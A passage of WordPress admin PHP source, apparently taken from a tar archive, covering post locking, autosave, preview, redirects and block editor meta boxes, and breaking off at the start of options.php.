		 * Filters the size used to display the post thumbnail image in the 'Featured image' meta box.
		 *
		 * Note: When a theme adds 'post-thumbnail' support, a special 'post-thumbnail'
		 * image size is registered, which differs from the 'thumbnail' image size
		 * managed via the Settings > Media screen.
		 *
		 * @since 4.4.0
		 *
		 * @param string|int[] $size         Requested image size. Can be any registered image size name, or
		 *                                   an array of width and height values in pixels (in that order).
		 * @param int          $thumbnail_id Post thumbnail attachment ID.
		 * @param WP_Post      $post         The post object associated with the thumbnail.
		 */
		$size = apply_filters( 'admin_post_thumbnail_size', $size, $thumbnail_id, $post );

		$thumbnail_html = wp_get_attachment_image( $thumbnail_id, $size );

		if ( ! empty( $thumbnail_html ) ) {
			$content  = sprintf(
				$set_thumbnail_link,
				esc_url( $upload_iframe_src ),
				' aria-describedby="set-post-thumbnail-desc"',
				$thumbnail_html
			);
			$content .= '<p class="hide-if-no-js howto" id="set-post-thumbnail-desc">' . __( 'Click the image to edit or update' ) . '</p>';
			$content .= '<p class="hide-if-no-js"><a href="#" id="remove-post-thumbnail">' . esc_html( $post_type_object->labels->remove_featured_image ) . '</a></p>';
		}
	}

	$content .= '<input type="hidden" id="_thumbnail_id" name="_thumbnail_id" value="' . esc_attr( $thumbnail_id ? $thumbnail_id : '-1' ) . '" />';

	/**
	 * Filters the admin post thumbnail HTML markup to return.
	 *
	 * @since 2.9.0
	 * @since 3.5.0 Added the `$post_id` parameter.
	 * @since 4.6.0 Added the `$thumbnail_id` parameter.
	 *
	 * @param string   $content      Admin post thumbnail HTML markup.
	 * @param int      $post_id      Post ID.
	 * @param int|null $thumbnail_id Thumbnail attachment ID, or null if there isn't one.
	 */
	return apply_filters( 'admin_post_thumbnail_html', $content, $post->ID, $thumbnail_id );
}

/**
 * Determines whether the post is currently being edited by another user.
 *
 * @since 2.5.0
 *
 * @param int|WP_Post $post ID or object of the post to check for editing.
 * @return int|false ID of the user with lock. False if the post does not exist, post is not locked,
 *                   the user with lock does not exist, or the post is locked by current user.
 */
function wp_check_post_lock( $post ) {
	$post = get_post( $post );

	if ( ! $post ) {
		return false;
	}

	$lock = get_post_meta( $post->ID, '_edit_lock', true );

	if ( ! $lock ) {
		return false;
	}

	$lock = explode( ':', $lock );
	$time = $lock[0];
	$user = isset( $lock[1] ) ? $lock[1] : get_post_meta( $post->ID, '_edit_last', true );

	if ( ! get_userdata( $user ) ) {
		return false;
	}

	/** This filter is documented in wp-admin/includes/ajax-actions.php */
	$time_window = apply_filters( 'wp_check_post_lock_window', 150 );

	if ( $time && $time > time() - $time_window && get_current_user_id() != $user ) {
		return $user;
	}

	return false;
}

/**
 * Marks the post as currently being edited by the current user.
 *
 * @since 2.5.0
 *
 * @param int|WP_Post $post ID or object of the post being edited.
 * @return array|false {
 *     Array of the lock time and user ID. False if the post does not exist, or there
 *     is no current user.
 *
 *     @type int $0 The current time as a Unix timestamp.
 *     @type int $1 The ID of the current user.
 * }
 */
function wp_set_post_lock( $post ) {
	$post = get_post( $post );

	if ( ! $post ) {
		return false;
	}

	$user_id = get_current_user_id();

	if ( 0 == $user_id ) {
		return false;
	}

	$now  = time();
	$lock = "$now:$user_id";

	update_post_meta( $post->ID, '_edit_lock', $lock );

	return array( $now, $user_id );
}

/**
 * Outputs the HTML for the notice to say that someone else is editing or has taken over editing of this post.
 *
 * @since 2.8.5
 */
function _admin_notice_post_locked() {
	$post = get_post();

	if ( ! $post ) {
		return;
	}

	$user    = null;
	$user_id = wp_check_post_lock( $post->ID );

	if ( $user_id ) {
		$user = get_userdata( $user_id );
	}

	if ( $user ) {
		/**
		 * Filters whether to show the post locked dialog.
		 *
		 * Returning false from the filter will prevent the dialog from being displayed.
		 *
		 * @since 3.6.0
		 *
		 * @param bool    $display Whether to display the dialog. Default true.
		 * @param WP_Post $post    Post object.
		 * @param WP_User $user    The user with the lock for the post.
		 */
		if ( ! apply_filters( 'show_post_locked_dialog', true, $post, $user ) ) {
			return;
		}

		$locked = true;
	} else {
		$locked = false;
	}

	$sendback = wp_get_referer();
	if ( $locked && $sendback && ! str_contains( $sendback, 'post.php' ) && ! str_contains( $sendback, 'post-new.php' ) ) {

		$sendback_text = __( 'Go back' );
	} else {
		$sendback = admin_url( 'edit.php' );

		if ( 'post' !== $post->post_type ) {
			$sendback = add_query_arg( 'post_type', $post->post_type, $sendback );
		}

		$sendback_text = get_post_type_object( $post->post_type )->labels->all_items;
	}

	$hidden = $locked ? '' : ' hidden';

	?>
	<div id="post-lock-dialog" class="notification-dialog-wrap<?php echo $hidden; ?>">
	<div class="notification-dialog-background"></div>
	<div class="notification-dialog">
	<?php

	if ( $locked ) {
		$query_args = array();
		if ( get_post_type_object( $post->post_type )->public ) {
			if ( 'publish' === $post->post_status || $user->ID != $post->post_author ) {
				// Latest content is in autosave.
				$nonce                       = wp_create_nonce( 'post_preview_' . $post->ID );
				$query_args['preview_id']    = $post->ID;
				$query_args['preview_nonce'] = $nonce;
			}
		}

		$preview_link = get_preview_post_link( $post->ID, $query_args );

		/**
		 * Filters whether to allow the post lock to be overridden.
		 *
		 * Returning false from the filter will disable the ability
		 * to override the post lock.
		 *
		 * @since 3.6.0
		 *
		 * @param bool    $override Whether to allow the post lock to be overridden. Default true.
		 * @param WP_Post $post     Post object.
		 * @param WP_User $user     The user with the lock for the post.
		 */
		$override = apply_filters( 'override_post_lock', true, $post, $user );
		$tab_last = $override ? '' : ' wp-tab-last';

		?>
		<div class="post-locked-message">
		<div class="post-locked-avatar"><?php echo get_avatar( $user->ID, 64 ); ?></div>
		<p class="currently-editing wp-tab-first" tabindex="0">
		<?php
		if ( $override ) {
			/* translators: %s: User's display name. */
			printf( __( '%s is currently editing this post. Do you want to take over?' ), esc_html( $user->display_name ) );
		} else {
			/* translators: %s: User's display name. */
			printf( __( '%s is currently editing this post.' ), esc_html( $user->display_name ) );
		}
		?>
		</p>
		<?php
		/**
		 * Fires inside the post locked dialog before the buttons are displayed.
		 *
		 * @since 3.6.0
		 * @since 5.4.0 The $user parameter was added.
		 *
		 * @param WP_Post $post Post object.
		 * @param WP_User $user The user with the lock for the post.
		 */
		do_action( 'post_locked_dialog', $post, $user );
		?>
		<p>
		<a class="button" href="<?php echo esc_url( $sendback ); ?>"><?php echo $sendback_text; ?></a>
		<?php if ( $preview_link ) { ?>
		<a class="button<?php echo $tab_last; ?>" href="<?php echo esc_url( $preview_link ); ?>"><?php _e( 'Preview' ); ?></a>
			<?php
		}

		// Allow plugins to prevent some users overriding the post lock.
		if ( $override ) {
			?>
	<a class="button button-primary wp-tab-last" href="<?php echo esc_url( add_query_arg( 'get-post-lock', '1', wp_nonce_url( get_edit_post_link( $post->ID, 'url' ), 'lock-post_' . $post->ID ) ) ); ?>"><?php _e( 'Take over' ); ?></a>
			<?php
		}

		?>
		</p>
		</div>
		<?php
	} else {
		?>
		<div class="post-taken-over">
			<div class="post-locked-avatar"></div>
			<p class="wp-tab-first" tabindex="0">
			<span class="currently-editing"></span><br />
			<span class="locked-saving hidden"><img src="<?php echo esc_url( admin_url( 'images/spinner-2x.gif' ) ); ?>" width="16" height="16" alt="" /> <?php _e( 'Saving revision&hellip;' ); ?></span>
			<span class="locked-saved hidden"><?php _e( 'Your latest changes were saved as a revision.' ); ?></span>
			</p>
			<?php
			/**
			 * Fires inside the dialog displayed when a user has lost the post lock.
			 *
			 * @since 3.6.0
			 *
			 * @param WP_Post $post Post object.
			 */
			do_action( 'post_lock_lost_dialog', $post );
			?>
			<p><a class="button button-primary wp-tab-last" href="<?php echo esc_url( $sendback ); ?>"><?php echo $sendback_text; ?></a></p>
		</div>
		<?php
	}

	?>
	</div>
	</div>
	<?php
}

/**
 * Creates autosave data for the specified post from `$_POST` data.
 *
 * @since 2.6.0
 *
 * @param array|int $post_data Associative array containing the post data, or integer post ID.
 *                             If a numeric post ID is provided, will use the `$_POST` superglobal.
 * @return int|WP_Error The autosave revision ID. WP_Error or 0 on error.
 */
function wp_create_post_autosave( $post_data ) {
	if ( is_numeric( $post_data ) ) {
		$post_id   = $post_data;
		$post_data = $_POST;
	} else {
		$post_id = (int) $post_data['post_ID'];
	}

	$post_data = _wp_translate_postdata( true, $post_data );
	if ( is_wp_error( $post_data ) ) {
		return $post_data;
	}
	$post_data = _wp_get_allowed_postdata( $post_data );

	$post_author = get_current_user_id();

	// Store one autosave per author. If there is already an autosave, overwrite it.
	$old_autosave = wp_get_post_autosave( $post_id, $post_author );
	if ( $old_autosave ) {
		$new_autosave                = _wp_post_revision_data( $post_data, true );
		$new_autosave['ID']          = $old_autosave->ID;
		$new_autosave['post_author'] = $post_author;

		$post = get_post( $post_id );

		// If the new autosave has the same content as the post, delete the autosave.
		$autosave_is_different = false;
		foreach ( array_intersect( array_keys( $new_autosave ), array_keys( _wp_post_revision_fields( $post ) ) ) as $field ) {
			if ( normalize_whitespace( $new_autosave[ $field ] ) !== normalize_whitespace( $post->$field ) ) {
				$autosave_is_different = true;
				break;
			}
		}

		if ( ! $autosave_is_different ) {
			wp_delete_post_revision( $old_autosave->ID );
			return 0;
		}

		/**
		 * Fires before an autosave is stored.
		 *
		 * @since 4.1.0
		 * @since 6.4.0 The `$is_update` parameter was added to indicate if the autosave is being updated or was newly created.
		 *
		 * @param array $new_autosave Post array - the autosave that is about to be saved.
		 * @param bool  $is_update    Whether this is an existing autosave.
		 */
		do_action( 'wp_creating_autosave', $new_autosave, true );
		return wp_update_post( $new_autosave );
	}

	// _wp_put_post_revision() expects unescaped.
	$post_data = wp_unslash( $post_data );

	// Otherwise create the new autosave as a special post revision.
	$revision = _wp_put_post_revision( $post_data, true );

	if ( ! is_wp_error( $revision ) && 0 !== $revision ) {

		/** This action is documented in wp-admin/includes/post.php */
		do_action( 'wp_creating_autosave', get_post( $revision, ARRAY_A ), false );
	}

	return $revision;
}

/**
 * Autosave the revisioned meta fields.
 *
 * Iterates through the revisioned meta fields and checks each to see if they are set,
 * and have a changed value. If so, the meta value is saved and attached to the autosave.
 *
 * @since 6.4.0
 *
 * @param array $new_autosave The new post data being autosaved.
 */
function wp_autosave_post_revisioned_meta_fields( $new_autosave ) {
	/*
	 * The post data arrives as either $_POST['data']['wp_autosave'] or the $_POST
	 * itself. This sets $posted_data to the correct variable.
	 *
	 * Ignoring sanitization to avoid altering meta. Ignoring the nonce check because
	 * this is hooked on inner core hooks where a valid nonce was already checked.
	 */
	$posted_data = isset( $_POST['data']['wp_autosave'] ) ? $_POST['data']['wp_autosave'] : $_POST;

	$post_type = get_post_type( $new_autosave['post_parent'] );

	/*
	 * Go thru the revisioned meta keys and save them as part of the autosave, if
	 * the meta key is part of the posted data, the meta value is not blank and
	 * the the meta value has changes from the last autosaved value.
	 */
	foreach ( wp_post_revision_meta_keys( $post_type ) as $meta_key ) {

		if (
		isset( $posted_data[ $meta_key ] ) &&
		get_post_meta( $new_autosave['ID'], $meta_key, true ) !== wp_unslash( $posted_data[ $meta_key ] )
		) {
			/*
			 * Use the underlying delete_metadata() and add_metadata() functions
			 * vs delete_post_meta() and add_post_meta() to make sure we're working
			 * with the actual revision meta.
			 */
			delete_metadata( 'post', $new_autosave['ID'], $meta_key );

			/*
			 * One last check to ensure meta value not empty().
			 */
			if ( ! empty( $posted_data[ $meta_key ] ) ) {
				/*
				 * Add the revisions meta data to the autosave.
				 */
				add_metadata( 'post', $new_autosave['ID'], $meta_key, $posted_data[ $meta_key ] );
			}
		}
	}
}

/**
 * Saves a draft or manually autosaves for the purpose of showing a post preview.
 *
 * @since 2.7.0
 *
 * @return string URL to redirect to show the preview.
 */
function post_preview() {

	$post_id     = (int) $_POST['post_ID'];
	$_POST['ID'] = $post_id;

	$post = get_post( $post_id );

	if ( ! $post ) {
		wp_die( __( 'Sorry, you are not allowed to edit this post.' ) );
	}

	if ( ! current_user_can( 'edit_post', $post->ID ) ) {
		wp_die( __( 'Sorry, you are not allowed to edit this post.' ) );
	}

	$is_autosave = false;

	if ( ! wp_check_post_lock( $post->ID ) && get_current_user_id() == $post->post_author
		&& ( 'draft' === $post->post_status || 'auto-draft' === $post->post_status )
	) {
		$saved_post_id = edit_post();
	} else {
		$is_autosave = true;

		if ( isset( $_POST['post_status'] ) && 'auto-draft' === $_POST['post_status'] ) {
			$_POST['post_status'] = 'draft';
		}

		$saved_post_id = wp_create_post_autosave( $post->ID );
	}

	if ( is_wp_error( $saved_post_id ) ) {
		wp_die( $saved_post_id->get_error_message() );
	}

	$query_args = array();

	if ( $is_autosave && $saved_post_id ) {
		$query_args['preview_id']    = $post->ID;
		$query_args['preview_nonce'] = wp_create_nonce( 'post_preview_' . $post->ID );

		if ( isset( $_POST['post_format'] ) ) {
			$query_args['post_format'] = empty( $_POST['post_format'] ) ? 'standard' : sanitize_key( $_POST['post_format'] );
		}

		if ( isset( $_POST['_thumbnail_id'] ) ) {
			$query_args['_thumbnail_id'] = ( (int) $_POST['_thumbnail_id'] <= 0 ) ? '-1' : (int) $_POST['_thumbnail_id'];
		}
	}

	return get_preview_post_link( $post, $query_args );
}

/**
 * Saves a post submitted with XHR.
 *
 * Intended for use with heartbeat and autosave.js
 *
 * @since 3.9.0
 *
 * @param array $post_data Associative array of the submitted post data.
 * @return mixed The value 0 or WP_Error on failure. The saved post ID on success.
 *               The ID can be the draft post_id or the autosave revision post_id.
 */
function wp_autosave( $post_data ) {
	// Back-compat.
	if ( ! defined( 'DOING_AUTOSAVE' ) ) {
		define( 'DOING_AUTOSAVE', true );
	}

	$post_id              = (int) $post_data['post_id'];
	$post_data['ID']      = $post_id;
	$post_data['post_ID'] = $post_id;

	if ( false === wp_verify_nonce( $post_data['_wpnonce'], 'update-post_' . $post_id ) ) {
		return new WP_Error( 'invalid_nonce', __( 'Error while saving.' ) );
	}

	$post = get_post( $post_id );

	if ( ! current_user_can( 'edit_post', $post->ID ) ) {
		return new WP_Error( 'edit_posts', __( 'Sorry, you are not allowed to edit this item.' ) );
	}

	if ( 'auto-draft' === $post->post_status ) {
		$post_data['post_status'] = 'draft';
	}

	if ( 'page' !== $post_data['post_type'] && ! empty( $post_data['catslist'] ) ) {
		$post_data['post_category'] = explode( ',', $post_data['catslist'] );
	}

	if ( ! wp_check_post_lock( $post->ID ) && get_current_user_id() == $post->post_author
		&& ( 'auto-draft' === $post->post_status || 'draft' === $post->post_status )
	) {
		// Drafts and auto-drafts are just overwritten by autosave for the same user if the post is not locked.
		return edit_post( wp_slash( $post_data ) );
	} else {
		/*
		 * Non-drafts or other users' drafts are not overwritten.
		 * The autosave is stored in a special post revision for each user.
		 */
		return wp_create_post_autosave( wp_slash( $post_data ) );
	}
}

/**
 * Redirects to previous page.
 *
 * @since 2.7.0
 *
 * @param int $post_id Optional. Post ID.
 */
function redirect_post( $post_id = '' ) {
	if ( isset( $_POST['save'] ) || isset( $_POST['publish'] ) ) {
		$status = get_post_status( $post_id );

		if ( isset( $_POST['publish'] ) ) {
			switch ( $status ) {
				case 'pending':
					$message = 8;
					break;
				case 'future':
					$message = 9;
					break;
				default:
					$message = 6;
			}
		} else {
			$message = 'draft' === $status ? 10 : 1;
		}

		$location = add_query_arg( 'message', $message, get_edit_post_link( $post_id, 'url' ) );
	} elseif ( isset( $_POST['addmeta'] ) && $_POST['addmeta'] ) {
		$location = add_query_arg( 'message', 2, wp_get_referer() );
		$location = explode( '#', $location );
		$location = $location[0] . '#postcustom';
	} elseif ( isset( $_POST['deletemeta'] ) && $_POST['deletemeta'] ) {
		$location = add_query_arg( 'message', 3, wp_get_referer() );
		$location = explode( '#', $location );
		$location = $location[0] . '#postcustom';
	} else {
		$location = add_query_arg( 'message', 4, get_edit_post_link( $post_id, 'url' ) );
	}

	/**
	 * Filters the post redirect destination URL.
	 *
	 * @since 2.9.0
	 *
	 * @param string $location The destination URL.
	 * @param int    $post_id  The post ID.
	 */
	wp_redirect( apply_filters( 'redirect_post_location', $location, $post_id ) );
	exit;
}

/**
 * Sanitizes POST values from a checkbox taxonomy metabox.
 *
 * @since 5.1.0
 *
 * @param string $taxonomy The taxonomy name.
 * @param array  $terms    Raw term data from the 'tax_input' field.
 * @return int[] Array of sanitized term IDs.
 */
function taxonomy_meta_box_sanitize_cb_checkboxes( $taxonomy, $terms ) {
	return array_map( 'intval', $terms );
}

/**
 * Sanitizes POST values from an input taxonomy metabox.
 *
 * @since 5.1.0
 *
 * @param string       $taxonomy The taxonomy name.
 * @param array|string $terms    Raw term data from the 'tax_input' field.
 * @return array
 */
function taxonomy_meta_box_sanitize_cb_input( $taxonomy, $terms ) {
	/*
	 * Assume that a 'tax_input' string is a comma-separated list of term names.
	 * Some languages may use a character other than a comma as a delimiter, so we standardize on
	 * commas before parsing the list.
	 */
	if ( ! is_array( $terms ) ) {
		$comma = _x( ',', 'tag delimiter' );
		if ( ',' !== $comma ) {
			$terms = str_replace( $comma, ',', $terms );
		}
		$terms = explode( ',', trim( $terms, " \n\t\r\0\x0B," ) );
	}

	$clean_terms = array();
	foreach ( $terms as $term ) {
		// Empty terms are invalid input.
		if ( empty( $term ) ) {
			continue;
		}

		$_term = get_terms(
			array(
				'taxonomy'   => $taxonomy,
				'name'       => $term,
				'fields'     => 'ids',
				'hide_empty' => false,
			)
		);

		if ( ! empty( $_term ) ) {
			$clean_terms[] = (int) $_term[0];
		} else {
			// No existing term was found, so pass the string. A new term will be created.
			$clean_terms[] = $term;
		}
	}

	return $clean_terms;
}

/**
 * Prepares server-registered blocks for the block editor.
 *
 * Returns an associative array of registered block data keyed by block name. Data includes properties
 * of a block relevant for client registration.
 *
 * @since 5.0.0
 * @since 6.3.0 Added `selectors` field.
 * @since 6.4.0 Added `block_hooks` field.
 *
 * @return array An associative array of registered block data.
 */
function get_block_editor_server_block_settings() {
	$block_registry = WP_Block_Type_Registry::get_instance();
	$blocks         = array();
	$fields_to_pick = array(
		'api_version'      => 'apiVersion',
		'title'            => 'title',
		'description'      => 'description',
		'icon'             => 'icon',
		'attributes'       => 'attributes',
		'provides_context' => 'providesContext',
		'uses_context'     => 'usesContext',
		'block_hooks'      => 'blockHooks',
		'selectors'        => 'selectors',
		'supports'         => 'supports',
		'category'         => 'category',
		'styles'           => 'styles',
		'textdomain'       => 'textdomain',
		'parent'           => 'parent',
		'ancestor'         => 'ancestor',
		'keywords'         => 'keywords',
		'example'          => 'example',
		'variations'       => 'variations',
	);

	foreach ( $block_registry->get_all_registered() as $block_name => $block_type ) {
		foreach ( $fields_to_pick as $field => $key ) {
			if ( ! isset( $block_type->{ $field } ) ) {
				continue;
			}

			if ( ! isset( $blocks[ $block_name ] ) ) {
				$blocks[ $block_name ] = array();
			}

			$blocks[ $block_name ][ $key ] = $block_type->{ $field };
		}
	}

	return $blocks;
}

/**
 * Renders the meta boxes forms.
 *
 * @since 5.0.0
 *
 * @global WP_Post   $post           Global post object.
 * @global WP_Screen $current_screen WordPress current screen object.
 * @global array     $wp_meta_boxes
 */
function the_block_editor_meta_boxes() {
	global $post, $current_screen, $wp_meta_boxes;

	// Handle meta box state.
	$_original_meta_boxes = $wp_meta_boxes;

	/**
	 * Fires right before the meta boxes are rendered.
	 *
	 * This allows for the filtering of meta box data, that should already be
	 * present by this point. Do not use as a means of adding meta box data.
	 *
	 * @since 5.0.0
	 *
	 * @param array $wp_meta_boxes Global meta box state.
	 */
	$wp_meta_boxes = apply_filters( 'filter_block_editor_meta_boxes', $wp_meta_boxes );
	$locations     = array( 'side', 'normal', 'advanced' );
	$priorities    = array( 'high', 'sorted', 'core', 'default', 'low' );

	// Render meta boxes.
	?>
	<form class="metabox-base-form">
	<?php the_block_editor_meta_box_post_form_hidden_fields( $post ); ?>
	</form>
	<form id="toggle-custom-fields-form" method="post" action="<?php echo esc_url( admin_url( 'post.php' ) ); ?>">
		<?php wp_nonce_field( 'toggle-custom-fields', 'toggle-custom-fields-nonce' ); ?>
		<input type="hidden" name="action" value="toggle-custom-fields" />
	</form>
	<?php foreach ( $locations as $location ) : ?>
		<form class="metabox-location-<?php echo esc_attr( $location ); ?>" onsubmit="return false;">
			<div id="poststuff" class="sidebar-open">
				<div id="postbox-container-2" class="postbox-container">
					<?php
					do_meta_boxes(
						$current_screen,
						$location,
						$post
					);
					?>
				</div>
			</div>
		</form>
	<?php endforeach; ?>
	<?php

	$meta_boxes_per_location = array();
	foreach ( $locations as $location ) {
		$meta_boxes_per_location[ $location ] = array();

		if ( ! isset( $wp_meta_boxes[ $current_screen->id ][ $location ] ) ) {
			continue;
		}

		foreach ( $priorities as $priority ) {
			if ( ! isset( $wp_meta_boxes[ $current_screen->id ][ $location ][ $priority ] ) ) {
				continue;
			}

			$meta_boxes = (array) $wp_meta_boxes[ $current_screen->id ][ $location ][ $priority ];
			foreach ( $meta_boxes as $meta_box ) {
				if ( false == $meta_box || ! $meta_box['title'] ) {
					continue;
				}

				// If a meta box is just here for back compat, don't show it in the block editor.
				if ( isset( $meta_box['args']['__back_compat_meta_box'] ) && $meta_box['args']['__back_compat_meta_box'] ) {
					continue;
				}

				$meta_boxes_per_location[ $location ][] = array(
					'id'    => $meta_box['id'],
					'title' => $meta_box['title'],
				);
			}
		}
	}

	/*
	 * Sadly we probably cannot add this data directly into editor settings.
	 *
	 * Some meta boxes need `admin_head` to fire for meta box registry.
	 * `admin_head` fires after `admin_enqueue_scripts`, which is where we create
	 * our editor instance.
	 */
	$script = 'window._wpLoadBlockEditor.then( function() {
		wp.data.dispatch( \'core/edit-post\' ).setAvailableMetaBoxesPerLocation( ' . wp_json_encode( $meta_boxes_per_location ) . ' );
	} );';

	wp_add_inline_script( 'wp-edit-post', $script );

	/*
	 * When `wp-edit-post` is output in the `<head>`, the inline script needs to be manually printed.
	 * Otherwise, meta boxes will not display because inline scripts for `wp-edit-post`
	 * will not be printed again after this point.
	 */
	if ( wp_script_is( 'wp-edit-post', 'done' ) ) {
		printf( "<script type='text/javascript'>\n%s\n</script>\n", trim( $script ) );
	}

	/*
	 * If the 'postcustom' meta box is enabled, then we need to perform
	 * some extra initialization on it.
	 */
	$enable_custom_fields = (bool) get_user_meta( get_current_user_id(), 'enable_custom_fields', true );

	if ( $enable_custom_fields ) {
		$script = "( function( $ ) {
			if ( $('#postcustom').length ) {
				$( '#the-list' ).wpList( {
					addBefore: function( s ) {
						s.data += '&post_id=$post->ID';
						return s;
					},
					addAfter: function() {
						$('table#list-table').show();
					}
				});
			}
		} )( jQuery );";
		wp_enqueue_script( 'wp-lists' );
		wp_add_inline_script( 'wp-lists', $script );
	}

	/*
	 * Refresh nonces used by the meta box loader.
	 *
	 * The logic is very similar to that provided by post.js for the classic editor.
	 */
	$script = "( function( $ ) {
		var check, timeout;

		function schedule() {
			check = false;
			window.clearTimeout( timeout );
			timeout = window.setTimeout( function() { check = true; }, 300000 );
		}

		$( document ).on( 'heartbeat-send.wp-refresh-nonces', function( e, data ) {
			var post_id, \$authCheck = $( '#wp-auth-check-wrap' );

			if ( check || ( \$authCheck.length && ! \$authCheck.hasClass( 'hidden' ) ) ) {
				if ( ( post_id = $( '#post_ID' ).val() ) && $( '#_wpnonce' ).val() ) {
					data['wp-refresh-metabox-loader-nonces'] = {
						post_id: post_id
					};
				}
			}
		}).on( 'heartbeat-tick.wp-refresh-nonces', function( e, data ) {
			var nonces = data['wp-refresh-metabox-loader-nonces'];

			if ( nonces ) {
				if ( nonces.replace ) {
					if ( nonces.replace.metabox_loader_nonce && window._wpMetaBoxUrl && wp.url ) {
						window._wpMetaBoxUrl= wp.url.addQueryArgs( window._wpMetaBoxUrl, { 'meta-box-loader-nonce': nonces.replace.metabox_loader_nonce } );
					}

					if ( nonces.replace._wpnonce ) {
						$( '#_wpnonce' ).val( nonces.replace._wpnonce );
					}
				}
			}
		}).ready( function() {
			schedule();
		});
	} )( jQuery );";
	wp_add_inline_script( 'heartbeat', $script );

	// Reset meta box data.
	$wp_meta_boxes = $_original_meta_boxes;
}

/**
 * Renders the hidden form required for the meta boxes form.
 *
 * @since 5.0.0
 *
 * @param WP_Post $post Current post object.
 */
function the_block_editor_meta_box_post_form_hidden_fields( $post ) {
	$form_extra = '';
	if ( 'auto-draft' === $post->post_status ) {
		$form_extra .= "<input type='hidden' id='auto_draft' name='auto_draft' value='1' />";
	}
	$form_action  = 'editpost';
	$nonce_action = 'update-post_' . $post->ID;
	$form_extra  .= "<input type='hidden' id='post_ID' name='post_ID' value='" . esc_attr( $post->ID ) . "' />";
	$referer      = wp_get_referer();
	$current_user = wp_get_current_user();
	$user_id      = $current_user->ID;
	wp_nonce_field( $nonce_action );

	/*
	 * Some meta boxes hook into these actions to add hidden input fields in the classic post form.
	 * For backward compatibility, we can capture the output from these actions,
	 * and extract the hidden input fields.
	 */
	ob_start();
	/** This filter is documented in wp-admin/edit-form-advanced.php */
	do_action( 'edit_form_after_title', $post );
	/** This filter is documented in wp-admin/edit-form-advanced.php */
	do_action( 'edit_form_advanced', $post );
	$classic_output = ob_get_clean();

	$classic_elements = wp_html_split( $classic_output );
	$hidden_inputs    = '';
	foreach ( $classic_elements as $element ) {
		if ( ! str_starts_with( $element, '<input ' ) ) {
			continue;
		}

		if ( preg_match( '/\stype=[\'"]hidden[\'"]\s/', $element ) ) {
			echo $element;
		}
	}
	?>
	<input type="hidden" id="user-id" name="user_ID" value="<?php echo (int) $user_id; ?>" />
	<input type="hidden" id="hiddenaction" name="action" value="<?php echo esc_attr( $form_action ); ?>" />
	<input type="hidden" id="originalaction" name="originalaction" value="<?php echo esc_attr( $form_action ); ?>" />
	<input type="hidden" id="post_type" name="post_type" value="<?php echo esc_attr( $post->post_type ); ?>" />
	<input type="hidden" id="original_post_status" name="original_post_status" value="<?php echo esc_attr( $post->post_status ); ?>" />
	<input type="hidden" id="referredby" name="referredby" value="<?php echo $referer ? esc_url( $referer ) : ''; ?>" />

	<?php
	if ( 'draft' !== get_post_status( $post ) ) {
		wp_original_referer_field( true, 'previous' );
	}
	echo $form_extra;
	wp_nonce_field( 'meta-box-order', 'meta-box-order-nonce', false );
	wp_nonce_field( 'closedpostboxes', 'closedpostboxesnonce', false );
	// Permalink title nonce.
	wp_nonce_field( 'samplepermalink', 'samplepermalinknonce', false );

	/**
	 * Adds hidden input fields to the meta box save form.
	 *
	 * Hook into this action to print `<input type="hidden" ... />` fields, which will be POSTed back to
	 * the server when meta boxes are saved.
	 *
	 * @since 5.0.0
	 *
	 * @param WP_Post $post The post that is being edited.
	 */
	do_action( 'block_editor_meta_box_hidden_fields', $post );
}

/**
 * Disables block editor for wp_navigation type posts so they can be managed via the UI.
 *
 * @since 5.9.0
 * @access private
 *
 * @param bool   $value Whether the CPT supports block editor or not.
 * @param string $post_type Post type.
 * @return bool Whether the block editor should be disabled or not.
 */
function _disable_block_editor_for_navigation_post_type( $value, $post_type ) {
	if ( 'wp_navigation' === $post_type ) {
		return false;
	}

	return $value;
}

/**
 * This callback disables the content editor for wp_navigation type posts.
 * Content editor cannot handle wp_navigation type posts correctly.
 * We cannot disable the "editor" feature in the wp_navigation's CPT definition
 * because it disables the ability to save navigation blocks via REST API.
 *
 * @since 5.9.0
 * @access private
 *
 * @param WP_Post $post An instance of WP_Post class.
 */
function _disable_content_editor_for_navigation_post_type( $post ) {
	$post_type = get_post_type( $post );
	if ( 'wp_navigation' !== $post_type ) {
		return;
	}

	remove_post_type_support( $post_type, 'editor' );
}

/**
 * This callback enables content editor for wp_navigation type posts.
 * We need to enable it back because we disable it to hide
 * the content editor for wp_navigation type posts.
 *
 * @since 5.9.0
 * @access private
 *
 * @see _disable_content_editor_for_navigation_post_type
 *
 * @param WP_Post $post An instance of WP_Post class.
 */
function _enable_content_editor_for_navigation_post_type( $post ) {
	$post_type = get_post_type( $post );
	if ( 'wp_navigation' !== $post_type ) {
		return;
	}

	add_post_type_support( $post_type, 'editor' );
}
options.php000064400000010076150275632050006761 0ustar00<?php
/**
 * WordPress Options Administration API.
 *
 * @package WordPress
 * @subpackage Administration
 * @since 4.4.0
 */

/**
 * Output JavaScript to toggle display of additional settings if avatars are disabled.
 *
 * @since 4.2.0
 */
function options_discussion_add_js() {
	?>
	<script>
	(function($){
		var parent = $( '#show_avatars' ),
			children = $( '.avatar-settings' );
		parent.on( 'change', function(){
			children.toggleClass( 'hide-if-js', ! this.checked );
		});
	})(jQuery);
	</script>
	<?php
}

/**
 * Display JavaScript on the page.
 *
 * @since 3.5.0
 */
function options_general_add_js() {
	?>
<script type="text/javascript">
	jQuery( function($) {
		var $siteName = $( '#wp-admin-bar-site-name' ).children( 'a' ).first(),
			homeURL = ( <?php echo wp_json_encode( get_home_url() ); ?> || '' ).replace( /^(https?:\/\/)?(www\.)?/, '' );

		$( '#blogname' ).on( 'input', function() {
			var title = $.trim( $( this ).val() ) || homeURL;

			// Truncate to 40 characters.
			if ( 40 < title.length ) {
				title = title.substring( 0, 40 ) + '\u2026';
			}

			$siteName.text( title );
		});

		$( 'input[name="date_format"]' ).on( 'click', function() {
			if ( 'date_format_custom_radio' !== $(this).attr( 'id' ) )
				$( 'input[name="date_format_custom"]' ).val( $( this ).val() ).closest( 'fieldset' ).find( '.example' ).text( $( this ).parent( 'label' ).children( '.format-i18n' ).text() );
		});

		$( 'input[name="date_format_custom"]' ).on( 'click input', function() {
			$( '#date_format_custom_radio' ).prop( 'checked', true );
		});

		$( 'input[name="time_format"]' ).on( 'click', function() {
			if ( 'time_format_custom_radio' !== $(this).attr( 'id' ) )
				$( 'input[name="time_format_custom"]' ).val( $( this ).val() ).closest( 'fieldset' ).find( '.example' ).text( $( this ).parent( 'label' ).children( '.format-i18n' ).text() );
		});

		$( 'input[name="time_format_custom"]' ).on( 'click input', function() {
			$( '#time_format_custom_radio' ).prop( 'checked', true );
		});

		$( 'input[name="date_format_custom"], input[name="time_format_custom"]' ).on( 'input', function() {
			var format = $( this ),
